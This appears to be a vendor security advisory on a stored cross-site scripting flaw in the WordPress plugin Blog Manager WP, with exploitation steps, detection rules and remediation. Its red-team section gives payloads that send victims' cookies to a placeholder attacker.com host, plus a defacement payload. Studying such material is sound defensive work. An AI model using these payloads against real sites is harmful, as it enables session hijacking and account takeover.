CVE-2025-46517
Executive Summary
CVE-2025-46517 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "Blog Manager WP" by wpdiscover, affecting versions up to and including 1.0.5. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into blog posts or settings. This injected code is stored on the server and executed in the browsers of any user viewing the affected page, including site administrators.
The CVSS v3.1 score is 5.9 (Medium), with a vector of CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L. The attack requires low privileges and user interaction (a victim visiting the page), but the impact is limited to confidentiality, integrity, and availability at a low level. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the lack of a patch makes this a persistent risk for WordPress sites using this plugin.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the WordPress plugin ecosystem. The plugin is distributed via the WordPress Plugin Directory and potentially third-party repositories. Since no patch is available, site administrators must consider removing the plugin entirely. The supply chain risk is elevated because the vendor (wpdiscover) has not responded to disclosure, meaning no official fix exists. Users relying on automatic updates are unprotected.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): Low (L) – Attacker needs contributor-level access.
- User Interaction (UI): Required (R) – Victim must visit the compromised page.
- Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): Low (L) – Limited denial of service potential.
Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored XSS nature can lead to session hijacking, defacement, or phishing campaigns against site visitors.
Deep Dive & Mechanics
The vulnerability exists in the blog-manager-wp plugin's handling of user input when creating or editing blog posts. The plugin fails to sanitize or escape data before storing it in the WordPress database and later rendering it in the admin dashboard or frontend. Specifically, the wp_kses or similar sanitization functions are not applied to fields such as post titles, custom meta fields, or settings.
Attack Flow:
- An attacker with contributor-level access logs into the WordPress admin.
- The attacker creates a new blog post or edits an existing one.
- In a vulnerable field (e.g., post title, excerpt, or custom field), the attacker injects a payload like
<script>alert('XSS')</script>. - The plugin stores the payload without sanitization.
- When an administrator or visitor views the post, the script executes in their browser.
Root Cause: The plugin uses echo or the_title() without applying esc_html() or wp_kses_post() to user-controlled data. This is a classic failure to follow WordPress coding standards for output escaping.
Vulnerable vs. Patched Code
Vulnerable Code (blog-manager-wp/includes/class-blog-manager-wp.php):
function display_post_title($post_id) {
$title = get_post_meta($post_id, 'custom_title', true);
echo "<h2>" . $title . "</h2>"; // No escaping
}
Patched Code (Hypothetical):
function display_post_title($post_id) {
$title = get_post_meta($post_id, 'custom_title', true);
echo "<h2>" . esc_html($title) . "</h2>"; // Escaped
}
The patch would require adding esc_html() or wp_kses_post() to all output functions that render user-supplied data. Since no official patch exists, this is a manual fix.
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress installation with Blog Manager WP <= 1.0.5.
- Contributor-level account credentials.
Exploitation Steps:
- Log in as a contributor.
- Navigate to
wp-admin/admin.php?page=blog-manager-wp-add. - In the "Post Title" field, inject:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the post.
- Send the post link to an administrator or victim.
- When the victim views the post, the script executes, exfiltrating cookies.
Payload Examples:
- Session hijacking:
<script>new Image().src='https://attacker.com/log?c='+document.cookie</script> - Defacement:
<script>document.body.innerHTML='<h1>Hacked</h1>'</script>
Blue Team
Detection:
- Monitor for unusual post content containing
<script>tags. - Review WordPress logs for posts created by low-privilege users with suspicious titles.
- Use WAF rules to block common XSS patterns in POST requests to
admin-ajax.phpor plugin admin pages.
Hunting Query (WordPress Database):
SELECT ID, post_title, post_content FROM wp_posts WHERE post_title LIKE '%<script%' OR post_content LIKE '%<script%';
Indicators of Compromise (IOCs)
- File Hashes: (None available; plugin files unchanged)
- Network Indicators:
- Outbound HTTP requests to unknown domains from WordPress admin.
- POST requests to
admin-ajax.phpwithaction=blog_manager_wp_saveand payloads containing<script>.
- Log Entries:
- WordPress debug log entries showing
wp_ksesfailures or unescaped output. - Web server logs with
%3Cscript%3Ein request URIs.
- WordPress debug log entries showing
- Database Artifacts:
- Rows in
wp_postmetawithmeta_valuecontaining<script>tags. - Rows in
wp_postswithpost_titleorpost_contentcontaining JavaScript.
- Rows in
Detection Engineering
YARA Rule
rule CVE_2025_46517_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Blog Manager WP plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-46517"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$plugin_path = "blog-manager-wp"
condition:
$plugin_path and #xss_payload > 0
}
Sigma Rule
title: Stored XSS in Blog Manager WP Plugin
id: 8a3f7c2e-9b1d-4e5f-8c7a-2d3e4f5a6b7c
status: experimental
description: Detects stored XSS attempts via Blog Manager WP plugin
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains:
- '/wp-admin/admin-ajax.php'
cs-method: 'POST'
cs-uri-query|contains:
- 'action=blog_manager_wp_save'
sc-status: 200
condition: selection
falsepositives:
- Legitimate use of JavaScript in post content (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-46517 Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=blog_manager_wp_save"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin – Deactivate and delete
blog-manager-wpfrom the WordPress admin. - Remove malicious content – Scan the database for posts containing
<script>tags and delete or sanitize them. - Apply a virtual patch – Use a Web Application Firewall (WAF) to block requests containing
<script>in plugin-specific parameters.
Long-Term Fix:
- Since no patch is available, migrate to an alternative WordPress blog management plugin that is actively maintained.
- If the plugin is critical, manually patch the code by adding
esc_html()to all output functions in the plugin's PHP files.
User Education:
- Restrict contributor-level access to trusted users only.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
Valters IT – Securing digital ecosystems through proactive threat intelligence.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.